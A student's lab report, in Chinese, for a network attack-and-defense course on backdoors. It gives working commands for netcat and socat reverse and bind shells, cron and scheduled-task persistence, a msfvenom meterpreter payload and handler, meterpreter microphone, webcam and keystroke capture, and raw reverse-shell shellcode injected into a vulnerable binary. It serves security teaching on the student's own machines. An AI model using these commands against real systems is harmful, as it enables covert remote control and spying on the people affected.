2019-2020-3 20174318张致豪《网络对抗技术》Exp2 后门原理与实践
- 2020 年 3 月 13 日
- 笔记
Exp2 后门原理与实践
前期准备
一、实验目标与基础知识
1.1 实践目标
使用netcat获取主机操作Shell,cron启动
使用socat获取主机操作Shell,任务计划启动
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
1.2 基础知识
1. 什么是后门?
后门是指绕过安全性控制而获取对程序或系统访问权的方法。
2. 常用后门工具
Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。
Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。
Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。
PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。
InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。
Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。
二、软件下载 & 功能测试
2.1在windows下载 Netcat & Socat
从老师所给指导的附件里下载 Netcat 与 Socat 文件,在本机解压后放置到相应的文件夹。
这里我把 Netcat 文件夹放置到了系统文件目录里,即 C 盘里的 system32 目录,放置在这里有个好处就是我们使用 cmd 运行 Netcat 的命令时,不必在原本下载的目录里运行,也不必以 ncat.exe 的形式运行,直接 cmd 打开输入 ncat 就能跑,虽然也节省不了多少时间。
在本机命令行里直接输入 ncat ,若能返回提示需指定要连接的主机,则说明 Netcat 载入好了。同理,运行 socat.exe ,返回相关提示即可。
2.2 Win获得 Linux Shell
在 Windows 的 cmd 中使用 ipconfig
查看本机 ip 地址,发现 Windows 端 ip 为192.168.0.105
Windows 端继续,使用 ncat 程序监听本机的 4318 端口号,输入 ncat -l -p 4318
,l 指 listen ,即监听
接下来,在 kali 中反弹连接 Windows 的 4318 端口,ncat 192.168.0.105 4318 -e /bin.sh
,使用 -e
选项执行shell程序
返回 Winodws 端的命令行,发现 kali 机被攻击成功,在 Windows 中获取了 kali 的 shell
2.2 Linux 获得 Windows Shell
在 kali 的终端中输入 ifconfig
查看 Linux 端 ip 地址,发现 ip 为 192.168.0.106
kali 中终端输入 nc -l -p 4318
,监听本机 4318 端口
在 Windows 中反弹连接 kali 的 4318 端口,ncat 192.168.0.106 4318 -e /bin.sh
,这里的 ip 地址应为 kali 机的 ip
返回 kali 的终端,发现 Windows 机被攻击成功,在 kali 中获取了 Windows 的 shell
2.3 使用 Ncat 传输数据
在安装了 Netcat 的主机里,都可以进行连接,这里我们选择 kali 连接到 Windows
首先在 Windows 下监听 4318 端口,输入 ncat -l 4318
kali 反弹连接到 Windows 的 4318 端口 ,终端输入 nc 192.168.0.105 4318
,这里的 ip 地址为 Win 端的
等待小会儿后,连接成功,双方可以进行相互通信
2.4 使用 Ncat 传输文件
连接的双方,同样可以进行文件的传输,我们选择把文件从 kali 传到 Windows
首先,Windows 端监听本机 4318 端口,并把收到的数据保存到 file1.out 中,cmd 中输入ncat -l 4318
> file1.out
接下来,kali 反弹连接到 Windows (ip)的 4318 端口,并将 kali 端的文件 file1.in 传输过去,终端输入 nc 192.168.0.105 4318 < file1.in
返回 Windows 端,在文件夹中若能找到文件 file1.out ,表明接收成功
实验步骤
一、使用 Netcat 获取主机操作 Shell ,cron 启动
详细解析:
首先,在 Windows 端内监听本机的 4318 端口,输入ncat -l -p 4318
后该命令行窗口进入监听状态
接下来,在 kali 端内编辑一条定时任务,终端输入 crontab -e
,这里 crontab 
;表示增加一条定时任务,-e
表示进入编辑状态
在选择了 vim 编辑器进行编辑后,进入 vim 端,在最后一行添加43 * * * * /bin/netcat 192.168.0.105 4318 -e /bin/sh
意思是,每个小时的第 43 分钟反向连接 Windows 主机的 4318 端口
等待 1 分钟到了 43 分后,我们就发现此时 Windows 已经获取了 kali 的 Shell
二、使用 Socat 获取主机操作 Shell ,任务计划启动
详细解析:
首先,Windows端键盘点击Win+R
输入 compmgmt.msc
打开“计算机管理”
在“任务计划程序”中点击“创建任务”
填写新建任务的名称,并新建一个触发器
在操作->新建->程序或脚本中选择 socat.exe
文件的路径,在添加参数一栏填写 tcp-listen:4318 exec:cmd.exe,pty,stderr
,这个命令的作用是把 cmd.exe
绑定到端口 4318
,同时把 cmd.exe
的 stderr
重定向到 stdout
上
创建完毕后,新建任务进入准备状态
然后,实施我们的触发条件,锁定 Windows 计算机,再次打开计算机时,我们创建的任务就已经开始运行了,此时会弹出一个 cmd 窗口,表明 socat 程序开始运行。
切换到 kali 中输入输入指令 socat - tcp:192.168.0.105:4318
,这里的第一个参数-代表标准的输入输出,第二个流连接到 Windows 主机的 4318 端口,此时可以发现已经成功获得了 cmd shell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
详细解析:
首先,在 kali 内生成后门程序,并设定为控制端,在终端输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4318 -f exe > 20174318_backdoor.exe
, ip 地址为控制端的 ip
接着,在 Windows 通过 ncat.exe -lv 4318 > 20174318_backdoor.exe
指令使本机进入接受文件模式
在 kali 中执行
nc 192.168.0.105 4318 < 20174318_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP,将后门程序传送过去
Windows 接收程序成功
之后,在kali上使用 msfconsole
指令进入msf控制台,并依次输入以下指令
-
- 输入
use exploit/multi/handler
使用监听模块,设置 payload set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的 payloadset LHOST 192.168.0.106
,这里用的是 kali 的 ip,和生成后门程序时指定的 ip 相同set LPORT 4318
,同样要使用相同的端口
- 输入
设置完成之后,输入指令exploit
执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
详细解析:
使用 record_mic
指令可以截获一段音频
使用webcam_snap
指令可以使用摄像头进行拍照
使用keyscan_start
指令记录下击键的过程,keyscan_dump
指令读取击键记录
使用screenshot
指令可以进行截屏
使用 getuid
指令可以查看当前用户,getsystem
指令进行提权操作,但未实现
五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
详细解析:
在测定可以用的 shellcode 网站中找到一个基于 linux/x86 平台的shellcode代码,将里面的机械码复制出来。
原始代码如下:
"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"
为了找到 shellcode 的起始地址,我们参照实验一的做法,首先基于该原始代码,注入一段用于查找的 shellcode
经过实验一中 gdb 、反汇编等一系列操作后,我们找到了 0x90 x90 x90 x90 的位置
从而计算出该 shellcode 的起始位置为 0xffffd1c0
,接下来只需修改 shellcode 的代码即可
然后,在另一个终端中打开 msfconsole
,并打开监听,参照步骤三的过程,依次输入以下指令
- use exploit/multi/handler
- set payload linux/x86/shell_reverse_tcp
- set LHOST
- set LPORT4444
- exploit
其中,LHOST 和 LPORT 都是根据网上下载的可用的 shellcode 的标注填写的
最后,在原本的终端里输入指令:(cat input_shellcode;cat) | ./pwn1
,按下回车键后开始运行,在另一个终端中就发现注入的shell开始运行了
实验总结
一、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
‘后门可能会通过网页挂马的方式,当我们点击不安全的网页链接时,自动跳转并下载在我们主机,然后隐藏在系统自启动目录里’
(2)例举你知道的后门如何启动起来( win 及 linux )的方式?
‘ win:通过点击钓鱼网站链接;添加自启动代码,每次开机自启
linux:通过本实验中的 crontab 命令设置定时或其他触发器启动’
(3)Meterpreter有哪些给你映像深刻的功能?
‘能够抓拍、录入声音、截图、获取键盘输入记录给我留下了深刻的印象,这些都是能极度威胁我们隐私的行为,让我觉得没有安全可言’
(4)如何发现自己有系统有没有被安装后门?
‘利用 netcat 查看有没有开放异常的端口;系统杀毒软件的检测提示;任务管理器查看异常进程’
二、实验总结与体会
本次实验做起来就和大二上学期的信息安全概论实验一样,通过指令在两个终端内随意传输数据、文件,让人觉得计算机系统没有安全可言,虽然实验中都是我们自己操作被攻击方运行攻击方的程序,但也给我提了一个醒,因为实施攻击的人总是会千方百计的让你去运行它的恶意程序,后门就是一个不容易引起我们注意的方式,所以我们得在强化自身防范意识的同时,增强自身相关的知识积累,说不定什么时候就能派上用场了。
与实验一比起来,本次实验遇到了更多的问题,但好在都是比较常见的,参考老师的演译视频与其他同学的博客以及网上的资料,成功的完成了本次实验,下面我就来分享一下我所遇到的问题。
- Netcat 只能单方向连接
在刚安装好 netcat 时,进行 Windows 获得 Linux Shell 测试时,Win 端的 cmd 进入监控状态后,kali 端反弹连接始终无法成功,Linux 的 nc 返回 TIMEOUT 的错误,与老师视频或其他同学的错误目标主机积极拒绝不同。但是我反过来试让Linux 获取 Windows Shell 却能成功,我尝试着关闭了 Windows 主机的防火墙与杀毒软件,但都未遂;不知所措的我开始了下一步操作,让 Windows 和 Linux 建立连接传数据,结果 Linux监听, Windows 反弹连接能通信成功,换成Windows端监听, Linux 端去反弹又不能成功了。我便怀疑是不是 Windows 端的 ip 地址错误、端口没有打开或者 Linux 端防火墙给阻断了,操作了一通后最终解决了这个问题,只不过我也不清楚到底是哪一步操作把它给弄好了。(Linux 端反弹连接错误忘截图了,大概是输入“nc 192.168.0.105 4318 -e /bin/sh”终端返回“nc: TIMEOUT”)
- msfconsole 指令无法打开 msf
问题如上所示,与其他大部分同学无法启动 msf 的返回错误不同,它给我的返回信息时让我下载 bundler ,照着它的要求我试着下载了 bundler(apt-get install bundler 步骤未截图,自动更新到了 bundler 2.1.3),结果出现了新的问题
巴拉巴拉一大堆,让我 root 模式不要运行 bundler,不明所以的我只好寻求网络的帮助,给的建议是下载 bundler 1.17.3 版本
结果这样就成功了
- 使用 MSF 生成的 Shellcode 注入到 pwn1 运行后返回段错误
这个错误犯得特别低级,我默认以为这一段 Shellcode 的起始地址就是我第一次实验时的那一段 Shellcode 的地址,直接就填上去了,试了好几次发现返回都是段错误,才意识到哪儿错了。